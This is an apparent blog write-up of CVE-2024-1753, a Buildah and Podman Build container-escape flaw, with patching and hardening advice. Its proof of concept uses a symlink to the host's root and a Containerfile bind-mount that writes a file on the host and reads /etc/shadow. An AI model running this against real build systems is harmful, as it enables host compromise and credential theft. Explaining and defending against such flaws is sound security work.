CVE-2024-1753 - Critical Buildah and Podman Build Container Escape Exploit

CVE-2024-1753 exposes a dangerous vulnerability in Buildah (and tools like Podman Build) that can let attackers mount and write to the host filesystem during a container build. With one tricky Containerfile and a bit of Linux know-how, attackers can break free of the container’s isolation—right at build time.

In this post, I’ll explain the flaw, show you working example code, link key resources, and detail how the exploit works, in simple terms.

Introduction: What is Buildah (and Podman Build)?

Buildah is a popular open-source CLI tool for building Open Container Initiative (OCI) container images, used under-the-hood by Podman and elsewhere. It prides itself on doing builds without needing a long-running daemon like Docker. However, like many container tools, it relies on OS-level features to isolate builds from the host.

Impacts: Buildah v1.28 and earlier, and tools that use it (e.g., Podman Build)

- CVE Details: NVD Record: CVE-2024-1753

Severity: Critical (container breakout, root takeover possible)

Core Issue:
A bad actor can trick Buildah (and Podman Build) into mounting any path, such as / (the root filesystem), from the host into the build container. Any command in the build’s RUN steps can then freely read, modify, or even delete files on the host—without the user realizing.

Why is This So Bad?

During a container build, we expect the build process to operate in an isolated virtual space (the container). Container build steps (“instructions” in the Containerfile) are not supposed to touch the actual host's files.

With this flaw, a malicious Containerfile can

- Steal sensitive files (like /etc/shadow).

Delete or encrypt entire filesystems.

All without any “runtime” container exploit—just building the container is enough!

How the Exploit Works

1. Set up a “dummy” image for the build with a path that is actually a symlink—pointing to the host's root /.

2. Craft the Containerfile to mount the symlinked path as a volume inside the build—tricking Buildah into mounting the host’s / inside the build container.

The attacker prepares an image (or build context) where, say, /mnt/hack is a symlink to / on the host. If the build request mounts /mnt/hack as a volume, Buildah ends up mounting host’s /!

mkdir dummy-image
cd dummy-image
mkdir rootfs
ln -s / rootfs/host-root
# Create minimal config file for OCI image (using Buildah or manual)

Step 2: Write the Malicious Containerfile

FROM scratch
ADD rootfs/ /dummy/
# /dummy/host-root is now a symlink to /

# Mount the host root into the build container at /mnt
RUN --mount=type=bind,source=/dummy/host-root,target=/mnt \
      bash -c 'echo "pwned" > /mnt/tmp/pwned.txt && cat /mnt/etc/shadow'

- The mount source /dummy/host-root resolves to the host’s /.
- The RUN command writes a file /tmp/pwned.txt (on the host!) and reads /etc/shadow.

Step 3: Build the Image

buildah bud -t hacked-image -f Containerfile .
# ...or...
podman build -t hacked-image .

Result:
After the build finishes, ls /tmp/pwned.txt on your host will show the attacker’s payload. Your host has been compromised during image build time.

Original References

- CVE-2024-1753 - NIST NVD
- Buildah Security Advisory (Red Hat)
- Upstream Buildah GitHub Issue
- Podman Build using Buildah

Developers using buildah bud or podman build

- CI/CD systems that build untrusted or third-party Containerfiles
- Anyone who lets users upload/build containers on their own hardware

Not affected:
Docker's build system, as of this writing, is not vulnerable to this specific attack, because of stricter path validations in Moby.

Mitigation and Patching

- Upgrade Buildah to version 1.29 or newer. The check for symlink mounting has been patched in recent versions.

Never build untrusted containers as root or with rootless Buildah on sensitive hosts.

- Use build machines that isolate builds from the true root filesystem (ideally: build in VMs, not on bare metal).
- Consider applying Linux security mechanisms (AppArmor, SELinux) and read-only filesystems during builds.

Lessons and Closing Thoughts

CVE-2024-1753 is a reminder that container build tools are not fully sandboxed security boundaries in themselves. The attack is not some intricate runtime exploit—it hits you at build time with nothing but a creative Containerfile. If you build images from untrusted sources (like in CI on your own hardware), patch now. Assume containers can escape and protect your hosts accordingly.

Stay safe. Keep dependencies updated. Trust is not a security model.

*This long-read is exclusive content—feel free to share, but do not copy without credit.*

Timeline

Published on: 03/18/2024 15:15:41 UTC
Last modified on: 04/03/2024 02:15:07 UTC